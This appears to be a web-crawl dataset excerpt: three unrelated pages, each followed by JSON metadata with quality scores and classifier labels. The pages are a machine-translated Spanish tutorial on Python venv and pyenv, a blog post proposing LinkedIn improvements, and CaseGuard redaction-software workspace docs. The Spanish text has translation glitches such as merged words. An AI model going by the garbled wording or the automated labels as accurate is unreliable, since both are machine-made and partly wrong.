20420, 20697, 20698, 21148, 21149, 21332, 21333, 21726, 21727, 21782, 21783, 21802, 21803, 21876, 21877, 21890, 21891, 21957, 21958, 21974, 21975, 22042, 22043, 22058, 22059, 22127, 22128, 22145, 22146, 22169, 22170, 22192 ] }
{ "red_pajama_v2": { "ccnet_original_length": 22192, "ccnet_original_nlines": 140, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 1, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.44384902715682983, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.017474370077252388, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.16682198643684387, "rps_doc_frac_unique_words": 0.32267194986343384, "rps_doc_mean_word_length": 5.033965587615967, "rps_doc_num_sentences": 190, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 6.004969596862793, "rps_doc_word_count": 3533, "rps_doc_frac_chars_dupe_10grams": 0.027213940396904945, "rps_doc_frac_chars_dupe_5grams": 0.05009840056300163, "rps_doc_frac_chars_dupe_6grams": 0.04441944882273674, "rps_doc_frac_chars_dupe_7grams": 0.03913410007953644, "rps_doc_frac_chars_dupe_8grams": 0.032836660742759705, "rps_doc_frac_chars_dupe_9grams": 0.027213940396904945, "rps_doc_frac_chars_top_2gram": 0.0053415801376104355, "rps_doc_frac_chars_top_3gram": 0.004554400220513344, "rps_doc_frac_chars_top_4gram": 0.0024739899672567844, "rps_doc_books_importance": -2064.600341796875, "rps_doc_books_importance_length_correction": -2064.600341796875, "rps_doc_openwebtext_importance": -1262.769775390625, "rps_doc_openwebtext_importance_length_correction": -1262.769775390625, "rps_doc_wikipedia_importance": -662.1550903320312, "rps_doc_wikipedia_importance_length_correction": -662.1550903320312 }, "fasttext": { "dclm": 0.08764929324388504, "english": 0.9358547925949097, "fineweb_edu_approx": 2.1486806869506836, "eai_general_math": 0.7530702948570251, "eai_open_web_math": 0.541507363319397, "eai_web_code": 0.1474279761314392 } }
{ "free_decimal_correspondence": { "primary": { "code": "519.5", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Probabilities; or, Mathematical statistics" } }, "secondary": { "code": "121", "labels": { "level_1": "Philosophy and psychology", "level_2": "", "level_3": "Knowledge, Theory of" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "4", "label": "Metacognitive" } }, "document_type_v1": { "primary": { "code": "2", "label": "Academic/Research" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "10", "label": "Knowledge Article" }, "secondary": { "code": "16", "label": "Personal Blog" } }, "reasoning_depth": { "primary": { "code": "4", "label": "Advanced Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-3,724,078,778,509,177,300
Cómo administrar múltiples versiones de Python y entornos virtuales Adición de enero de 2019: si regresa a este blog después de actualizar a macOS Mojave, consulte este problema de github para obtener una solución al problema común de pyenv 'zlib no disponible'. Antes de comenzar, repasemos brevemente los términos utilizados en el título: • Varias versiones de Python : diferentes instalaciones de Python en la misma máquina, 2.7 y 3.4 por ejemplo. • Entornos virtuales : entornos independientes aislados que pueden tener tanto una versión específica de Python como de cualquier paquete específico del proyecto instalado dentro de ellos, sin afectar a ningún otro proyecto. Aquí veremos tres herramientas diferentes para trabajar con ellos y cuándo podría necesitar cada una. Exploremos los casos de uso para: • venv / pyvenv • pyenv • pyenv-virtualenv Si está utilizando una única versión de Python, digamos versión 3.3+ , y desea administrar diferentes entornos virtuales, entonces venves todo lo que necesita. Si desea utilizar varias versiones de Python en 3.3+ , con o sin entornos virtuales , continúe leyendo sobre pyenv. Si también desea trabajar con Python 2 , entonces pyenv-virtualenves una herramienta a considerar. venv Desde Python 3.3+ venvse incluye el paquete. Es ideal para crear entornos virtuales ligeros. Hasta Python 3.6 pyvenvtambién se incluía un script llamado como envoltorio venv, pero ha quedado obsoleto. Se eliminará por completo en Python 3.8. Exactamente la misma funcionalidad está disponible cuando se usa venv, y cualquier documentación existente debe actualizarse. Para cualquier persona interesada, puede leer las razones detrás de la depreciación pyvenv. venv se utiliza para crear un nuevo entorno a través del comando de terminal: $ python3 -m venv directory-name-to-create activado con: $ source name-given/bin/activate y desactivado con simplemente: $ deactivate Si necesita eliminar el entorno por completo después de desactivarlo, puede ejecutar: $ rm -r name-given De forma predeterminada, el entorno que crea será la versión actual de Python que está utilizando. Si está escribiendo documentación y desea la seguridad adicional de que su lector está utilizando la versión correcta de Python, puede especificar el número de versión mayor y menor en el comando, así: $ python3.6 -m venv example-three-six Si el lector está usando una versión diferente a la 3.6, entonces el comando no será exitoso y lo indicará en su mensaje de error. Sin embargo, cualquier versión de parche (por ejemplo 3.6.4) funcionará. Cuando el entorno está activo, se pueden instalar todos los paquetes a través de la pipforma habitual. De forma predeterminada, el entorno recién creado no incluirá ningún paquete ya instalado en la máquina. Como pipsí mismo no se instalará necesariamente en la máquina. Se recomienda actualizar primero pipa la última versión, utilizando pip install --upgrade pip. Los proyectos suelen tener un requirements.txtarchivo que especifica sus dependencias. Esto permite que el comando de pip install -r requirements.txtcomando de acceso directo instale rápidamente todos los paquetes en el entorno virtual recién creado. Solo existirán en el entorno virtual. No estará disponible cuando se desactive, pero persistirá cuando se reactive. Si no necesita utilizar versiones adicionales de Python, entonces esto es todo lo que necesita para crear entornos virtuales aislados y específicos del proyecto. pyenv Si desea utilizar varias versiones de Python en una sola máquina, entonces pyenves una herramienta de uso común para instalar y cambiar entre versiones. Esto no debe confundirse con el pyvenvscript depreciado mencionado anteriormente . No viene incluido con Python y debe instalarse por separado. La pyenvdocumentación incluye una gran descripción de cómo funciona, por lo que aquí veremos simplemente cómo usarlo. Primero tendremos que instalarlo. Si usamos Mac OS X, podemos hacer esto usando Homebrew, de lo contrario, considere otras opciones de instalación. $ brew update $ brew install pyenv A continuación, agregue lo siguiente hacia la parte inferior de sus scripts de shell para permitirle pyenvcambiar automáticamente las versiones: eval "$(pyenv init -)" Para ello, abra su uso en shell script, a través de $ ~/.zshrc, $ ~/.bashrco $ ~/.bash_profiley copiar y pegar la línea anterior en. La ejecución pyenv versionsmostrará qué versiones de Python están instaladas actualmente, *junto a la que está actualmente en uso. pyenv versionmuestra esto directamente y python --versionse puede utilizar para verificarlo. Para instalar una versión adicional, digamos 3.4.0, simplemente use pyenv install 3.4.0. pyenv busca en cuatro lugares para decidir qué versión de Python usar, en orden de prioridad: 1. La PYENV_VERSIONvariable de entorno (si se especifica). Puede usar el pyenv shellcomando para establecer esta variable de entorno en su sesión de shell actual. 2. El .python-versionarchivo específico de la aplicación en el directorio actual (si está presente). Puede modificar el .python-versionarchivo del directorio actual con el pyenv localcomando. 3. El primer .python-versionarchivo encontrado (si lo hay) buscando en cada directorio principal, hasta llegar a la raíz de su sistema de archivos. 4. El archivo de versión global. Puede modificar este archivo usando el pyenv globalcomando. Si el archivo de versión global no está presente, pyenv asume que desea utilizar el "sistema" de Python. (En otras palabras, cualquier versión se ejecutaría si pyenv no estuviera en su PATH.) Al configurar un nuevo proyecto que utilizará Python 3.6.4 pyenv local 3.6.4, se ejecutará en su directorio raíz. Esto establecería la versión y crearía un .python-versionarchivo, para que las máquinas de otros colaboradores lo recogieran. La descripción completa de los pyenvcomandos es una para marcar. pyenv y venv Al trabajar con Python 3.3+, ahora sabemos cómo instalar y cambiar entre diferentes versiones de Python, y cómo crear nuevos entornos virtuales. Como ejemplo, digamos que estábamos configurando un proyecto que iba a usar Python 3.4. Primero podríamos configurar nuestra versión local usando pyenv local 3.4.0. Si luego ejecutamos python3 -m venv example-projectun nuevo entorno virtual, se configuraría example-projectcon nuestro Python 3.4.0 habilitado localmente. Activamos usando source example-project/bin/activatey podemos empezar a trabajar. A continuación, podríamos, opcionalmente, documentar que un colaborador debería utilizar python3.4 -m venv . Esto significa que incluso si un colaborador no estuviera usando pyenv, el python3.4comando produciría un error si su versión de Python no fuera la misma versión mayor y menor (3 y 4), como pretendíamos. Alternativamente, podríamos optar por especificar simplemente que se usaría 3.4.0 e instruir python3 -m venv . Si creemos que cualquier versión mayor que 3.4 es aceptable, entonces también podemos optar por usar python3over python3.4, como si el colaborador estuviera usando 3.6, de lo contrario, también recibiría un error. Esta es una decisión específica del proyecto. pyenv-virtualenv pyenvse puede utilizar para instalar Python 2 y 3 versiones. Sin embargo, como hemos visto, venvestá limitado a versiones de Python superiores a 3.3. pyenv-virtualenves una herramienta para crear entornos virtuales integrados pyenvy funciona para todas las versiones de Python. Todavía se recomienda utilizar Python oficial venvsiempre que sea posible. Pero si, por ejemplo, está creando un entorno virtual basado en 2.7.13, entonces esto es un complemento pyenv. También funciona bien con condaentornos Anaconda y Miniconda si ya los está utilizando. virtualenvTambién existe una herramienta llamada . No está cubierto aquí, pero está vinculado al final. Después de instalarlo, pyenvse puede instalar usando Homebrew (o alternativas) de la siguiente manera: $ brew install pyenv-virtualenv A continuación, en su .zshrc, .bashrco .bash_profile(según el shell que utilice) agregue lo siguiente hacia la parte inferior: eval "$(pyenv init -)" eval "$(pyenv virtualenv-init -)" Esto permite pyenvactivar y desactivar entornos automáticamente al mover directorios. Para crear un nuevo entorno virtual, use: $ pyenv virtualenv // for example $ pyenv virtualenv 2.7.10 my-virtual-env-2.7.10 Los entornos existentes se pueden enumerar con: $ pyenv virtualenvs Activado / desactivado con: $ pyenv activate $ pyenv deactivate En el momento de escribir este artículo, cuando se utilice , se mostrará activatela advertencia prompt changing will be removed from future release. Esto es lo esperado y se refiere solo a la (env-name)visualización en su shell, no al uso del activatecomando en sí. Los requisitos de instalación funcionan como se describe en venv. A diferencia de venvun rm -rcomando, no es necesario eliminar un entorno, uninstallexiste un comando. Pensamientos finales Entre estas tres herramientas, tenemos la capacidad de colaborar en cualquier proyecto, sin importar la versión de Python o de las dependencias requeridas. También sabemos cómo documentar las instrucciones de configuración para que otros las utilicen en cualquier proyecto en el que trabajemos. También podemos ver el razonamiento detrás de qué conjunto usar, ya que no todos los desarrolladores requerirán los tres. Con suerte, esto fue útil y es una referencia útil en combinación con la documentación vinculada a continuación. ¡Gracias por leer! ? Otras cosas que he explorado: • Simulacros de módulos ES y CommonJS con jest.mock () • Una guía para principiantes del Elastic Container Service de Amazon Recursos • Entornos virtuales de Python: una introducción • Depreciando pyvenv • venvDocumentación de Python • venv vs virtualenv • ¿Cuál es la diferencia entre venv, pyvenv, pyenv, virtualenv, virtualenvwrapper, pipenv, etc? • ¿Necesito instalar pip?
{ "url": "https://ilusionity.com/647-how-to-manage-multiple-python-versions-and-virtual-environments", "source_domain": "ilusionity.com", "snapshot_id": "CC-MAIN-2023-40", "warc_metadata": { "Content-Length": "38593", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:DBKPCPLJCW6KFOQEHGB6LHDIDWWPC22V", "WARC-Concurrent-To": "<urn:uuid:bf959686-ebc0-413f-b29c-ac83f6552888>", "WARC-Date": "2023-09-22T19:10:02Z", "WARC-IP-Address": "172.67.130.76", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:W25RVLLE34EYRKJUXKL7NHZDUV4NRSHB", "WARC-Record-ID": "<urn:uuid:1d58fcac-b2af-45fd-bb94-ea2004324a5a>", "WARC-Target-URI": "https://ilusionity.com/647-how-to-manage-multiple-python-versions-and-virtual-environments", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:70141180-8700-4b61-8f71-55618f940122>" }, "warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-129\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 68, 69, 264, 265, 343, 344, 456, 683, 684, 820, 821, 839, 849, 870, 871, 1031, 1032, 1148, 1149, 1248, 1249, 1254, 1255, 1348, 1349, 1716, 1717, 1795, 1796, 1839, 1840, 1854, 1855, 1888, 1889, 1920, 1921, 1934, 1935, 2021, 2022, 2041, 2042, 2343, 2344, 2382, 2383, 2587, 2588, 2954, 2955, 3322, 3323, 3485, 3486, 3492, 3493, 3790, 3791, 3909, 3910, 4058, 4059, 4094, 4095, 4240, 4241, 4264, 4265, 4398, 4399, 4623, 4624, 4713, 4714, 4808, 4809, 4974, 5168, 5318, 5605, 5606, 5846, 5847, 5912, 5913, 5926, 5927, 6072, 6073, 6161, 6162, 6239, 6240, 6396, 6397, 6479, 6480, 6793, 6794, 7165, 7166, 7183, 7184, 7334, 7335, 7649, 7650, 7842, 7843, 7946, 7947, 7979, 7980, 8107, 8108, 8165, 8166, 8252, 8253, 8295, 8296, 8380, 8381, 8429, 8430, 8450, 8451, 8479, 8480, 8517, 8518, 8784, 8785, 8953, 8954, 8975, 8976, 9271, 9272, 9394, 9395, 9508, 9509, 9530, 9531, 9561, 9562, 9619, 9691, 9692, 9701, 9702, 9753, 9776, 9808, 9831, 9929 ], "line_end_idx": [ 68, 69, 264, 265, 343, 344, 456, 683, 684, 820, 821, 839, 849, 870, 871, 1031, 1032, 1148, 1149, 1248, 1249, 1254, 1255, 1348, 1349, 1716, 1717, 1795, 1796, 1839, 1840, 1854, 1855, 1888, 1889, 1920, 1921, 1934, 1935, 2021, 2022, 2041, 2042, 2343, 2344, 2382, 2383, 2587, 2588, 2954, 2955, 3322, 3323, 3485, 3486, 3492, 3493, 3790, 3791, 3909, 3910, 4058, 4059, 4094, 4095, 4240, 4241, 4264, 4265, 4398, 4399, 4623, 4624, 4713, 4714, 4808, 4809, 4974, 5168, 5318, 5605, 5606, 5846, 5847, 5912, 5913, 5926, 5927, 6072, 6073, 6161, 6162, 6239, 6240, 6396, 6397, 6479, 6480, 6793, 6794, 7165, 7166, 7183, 7184, 7334, 7335, 7649, 7650, 7842, 7843, 7946, 7947, 7979, 7980, 8107, 8108, 8165, 8166, 8252, 8253, 8295, 8296, 8380, 8381, 8429, 8430, 8450, 8451, 8479, 8480, 8517, 8518, 8784, 8785, 8953, 8954, 8975, 8976, 9271, 9272, 9394, 9395, 9508, 9509, 9530, 9531, 9561, 9562, 9619, 9691, 9692, 9701, 9702, 9753, 9776, 9808, 9831, 9929, 9956 ] }
{ "red_pajama_v2": { "ccnet_original_length": 9956, "ccnet_original_nlines": 158, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.07213114947080612, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0043715802021324635, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2224043756723404, "rps_doc_frac_unique_words": 0.3655988872051239, "rps_doc_mean_word_length": 5.699860572814941, "rps_doc_num_sentences": 133, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.533196926116943, "rps_doc_word_count": 1436, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.03811851143836975, "rps_doc_frac_chars_dupe_6grams": 0.019059250131249428, "rps_doc_frac_chars_dupe_7grams": 0.019059250131249428, "rps_doc_frac_chars_dupe_8grams": 0.009773979894816875, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.019547950476408005, "rps_doc_frac_chars_top_3gram": 0.01661575958132744, "rps_doc_frac_chars_top_4gram": 0.008430049754679203, "rps_doc_books_importance": -756.0553588867188, "rps_doc_books_importance_length_correction": -756.0553588867188, "rps_doc_openwebtext_importance": -493.2278747558594, "rps_doc_openwebtext_importance_length_correction": -493.2278747558594, "rps_doc_wikipedia_importance": -419.2107849121094, "rps_doc_wikipedia_importance_length_correction": -419.2107849121094 }, "fasttext": { "dclm": 0.9225281476974487, "english": 0.0008359199855476618, "fineweb_edu_approx": 1.4017292261123657, "eai_general_math": 0.00034296998637728393, "eai_open_web_math": 0.44154226779937744, "eai_web_code": 0.7810447216033936 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1332", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,731,660,366,817,099,300
Over a million developers have joined DZone. {{announcement.body}} {{announcement.title}} Wishing for Improvements to Linkedin DZone's Guide to Wishing for Improvements to Linkedin Verified Reputations is what Linkedin gives you. Super powerful. Except they have not really perfected it. Read on to hear my qualms with Linkedin and my suggestions for improvement. · Web Dev Zone · Free Resource Deploy code to production now. Release to users when ready. Learn how to separate code deployment from user-facing feature releases with LaunchDarkly. Verified Reputations is what Linkedin gives you. Super powerful. Except they have not really perfected it. Linkedin’s Modeling of Jobs In my working life, I’ve been a salaried employee, a freelancer arranging my own contracts (doesn’t happen in the US for tax reasons), a freelancer through an agency (who take a commission), and a consultant placed at one of my employer’s clients. Other people have been "temps", "work for hire", "hire to fire" for something that superficially looks like a consultancy, but is really a "bodyshop" or umbrella company colloquially. In respect of interviewing candidates to hire, for periods of time that they were employed, I want to know that level of detail. Why? If they have more than one short stint in their recent years, it might have been a tough economic time, and they may have had to work for an umbrella company, or bodyshop. It might not be because they were crap at their job, or flighty. In a related way, I’d like to be able to show the hierarchy of my jobs. ThoughtWorks had clients. I had not actually left ThoughtWorks to work at them. In LinkedIn, I’d like to be both a ThoughtWorker and a Googler at the same time (19 months up to Jan 2009). That is easily model-able, and straight forward to show in the UI. Linkedin’s User Interface Problems • URLs are terrible. RESTful, anyone? • Back and forward problems • Modality issues that irk • Accepting/rejecting invitations is inconsistent between the two places in the app you can do it. • For rejecting invitations, there’s no “Ask the inviter a little more detail on how they know me”-action that follows, allowing the inviter a second chance of being accepted. Actions Toward Better Verification of Reputations For rejecting invitations, there’s no consequences that follow–the inviter should fear getting dinged on a success-rate score for invitations. That way those crappy harvesters of profiles (towards crime, or merely getting your contact list without paying the Linkedin premium fees) will disappear. Endorsement of Claims People who are linked in to each other should be able to verify the individual claims made by each other. For example, two people who were at the same company for a period of time together should be able to score each other’s write-up for the period of time. For instance, if I claimed I was CTO at ThoughtWorks while I was there, a few hundred people could score me as 0/10 for that. If I later revised it to say "Chief TrunkBasedDevelopment Officer" the same people might get offered the chance to endorse the revision, I might then get an average of 9/10 for that claim (good enough). Education is like jobs, of course–has overlapping timespans–can be scored by people there at the same time. Qualifications? Especially vocational ones–that’s harder to score, but possible if issuing agencies get involved in Linkedin. Clearly, for "colleague" style invitations, there is a need for a "periods of time" to be included. Indeed, after being initially linked two people might go on to be colleagues when they were not before, so multiple timespans would be eligible to be scored and not just at the time of invitation. It is all open to abuse though, so there needs to be a way of snipping the person that silently hates you while purporting to like you for the purposes of the invitation. Storage Of course, I want everything stored in JSON, YAML, or TOML format, and in source control. For reasons of privacy I might not be able to extract my connections’ details (or perhaps connections at all). I would want to see revisions though, and diffs on that. Source Control suits that. Deploy code to production now. Release to users when ready. Learn how to separate code deployment from user-facing feature releases with LaunchDarkly. Topics: linkedin Published at DZone with permission of Opinions expressed by DZone contributors are their own. {{ parent.title || parent.header.title}} {{ parent.tldr }} {{ parent.urlSource.name }}
{ "url": "https://dzone.com/articles/wishing-for-improvements-to-linkedin", "source_domain": "dzone.com", "snapshot_id": "crawl=CC-MAIN-2018-47", "warc_metadata": { "Content-Length": "142452", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:ROQXDF2B3YB4QSCBLKOJPAORSREFPALG", "WARC-Concurrent-To": "<urn:uuid:f9da0426-5bb4-48ac-a78c-7e544ce20eab>", "WARC-Date": "2018-11-21T05:55:32Z", "WARC-IP-Address": "34.198.176.72", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:RWIWN4O643RCNAKY53BJ5TQAOYX7GHXI", "WARC-Record-ID": "<urn:uuid:fb9644dd-1e8b-4da0-94d9-44f6dc05b6e5>", "WARC-Target-URI": "https://dzone.com/articles/wishing-for-improvements-to-linkedin", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:d8c7c26e-3340-4e9e-bdbe-2e7b93d865da>" }, "warc_info": "isPartOf: CC-MAIN-2018-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-229-81-75.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 45, 67, 90, 91, 128, 129, 146, 147, 184, 185, 368, 369, 386, 400, 401, 552, 553, 660, 661, 689, 690, 938, 939, 1494, 1495, 1822, 1823, 1858, 1859, 1899, 1929, 1958, 2059, 2237, 2238, 2288, 2289, 2587, 2588, 2610, 2611, 3199, 3200, 3308, 3309, 3435, 3436, 3904, 3905, 3913, 3914, 4199, 4200, 4351, 4352, 4360, 4369, 4370, 4408, 4409, 4465, 4466, 4507, 4508, 4526, 4527 ], "line_end_idx": [ 45, 67, 90, 91, 128, 129, 146, 147, 184, 185, 368, 369, 386, 400, 401, 552, 553, 660, 661, 689, 690, 938, 939, 1494, 1495, 1822, 1823, 1858, 1859, 1899, 1929, 1958, 2059, 2237, 2238, 2288, 2289, 2587, 2588, 2610, 2611, 3199, 3200, 3308, 3309, 3435, 3436, 3904, 3905, 3913, 3914, 4199, 4200, 4351, 4352, 4360, 4369, 4370, 4408, 4409, 4465, 4466, 4507, 4508, 4526, 4527, 4554 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4554, "ccnet_original_nlines": 66, "rps_doc_curly_bracket": 0.004391740076243877, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.441910982131958, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.020629750564694405, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17589576542377472, "rps_doc_frac_unique_words": 0.46684709191322327, "rps_doc_mean_word_length": 4.899864673614502, "rps_doc_num_sentences": 55, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.33890438079834, "rps_doc_word_count": 739, "rps_doc_frac_chars_dupe_10grams": 0.11764705926179886, "rps_doc_frac_chars_dupe_5grams": 0.15299640595912933, "rps_doc_frac_chars_dupe_6grams": 0.11764705926179886, "rps_doc_frac_chars_dupe_7grams": 0.11764705926179886, "rps_doc_frac_chars_dupe_8grams": 0.11764705926179886, "rps_doc_frac_chars_dupe_9grams": 0.11764705926179886, "rps_doc_frac_chars_top_2gram": 0.0066280001774430275, "rps_doc_frac_chars_top_3gram": 0.008837340399622917, "rps_doc_frac_chars_top_4gram": 0.013256009668111801, "rps_doc_books_importance": -428.414794921875, "rps_doc_books_importance_length_correction": -428.414794921875, "rps_doc_openwebtext_importance": -249.93589782714844, "rps_doc_openwebtext_importance_length_correction": -249.93589782714844, "rps_doc_wikipedia_importance": -149.8085174560547, "rps_doc_wikipedia_importance_length_correction": -149.8085174560547 }, "fasttext": { "dclm": 0.05133486166596413, "english": 0.9595775008201599, "fineweb_edu_approx": 1.2907637357711792, "eai_general_math": 0.18818509578704834, "eai_open_web_math": 0.3203731179237366, "eai_web_code": 0.0742759108543396 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.467", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "651.95", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Business", "level_3": "Office management" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "1", "label": "News/Editorial" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "1", "label": "Leftover HTML" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-72,624,526,797,291,460
Workspace Basics & Default Views Overview of the Workspace CaseGuard uses a docked, panel-based interface. The entire interface is called a Workspace. The Workspace adapts to accommodate different working styles and to the tasks, you need to perform. You will do most of your redacting work in the panels of the workspace. For example, we recommend pinning the Object Detection panel to your workspace whenever you are editing video content. To learn more about the various panels that can be used within CaseGuard Studio, see CaseGuard Workspace.  The main areas of CaseGuard’s Workspace are: CaseGuard WorkspaceA: Menu Bar | B: Shortcuts Bar | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Workspace Viewer Default Views CaseGuard has pre-built Workspaces that serve to accommodate different working styles and file types, making it easier for you to accomplish the different tasks you need to perform. These pre-built workspaces are a great starting point so you can begin working immediately. Video – Manual Redaction CaseGuard Manual Redaction Workspace A: Menu Bar | B: Shortcuts Bar | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Player Timeline  | J: Workspace Viewer Video – Search by Image CaseGuard Object Tracking Redaction Workspace A: Menu Bar | B: Shortcuts Bar | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Player Timeline  | J: Workspace Viewer Video – Automatic Redaction CaseGuard Automatic Redaction WorkspaceA: Menu Bar | B: Shortcuts Menu | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Player Timeline | J: Workspace Viewer | K: Automatic Detection Popup Audio Redaction CaseGuard Default Audio Redaction ViewA: Menu Bar | B: Shortcuts Bar | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Player Timeline | J: Workspace Viewer Image Redaction CaseGuard Default Image Redaction View A: Menu Bar | B: Shortcuts Bar | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Workspace Viewer Album Redaction CaseGuard Default Album Redaction View A: Menu Bar | B: Shortcuts Bar | C: Project Files | D: Task List | E: Additional Panels | F: Tool Properties | G: Status Bar | H: Toolbar | I: Workspace Viewer | J: Workspace Viewer Was this article helpful to you? Yes No
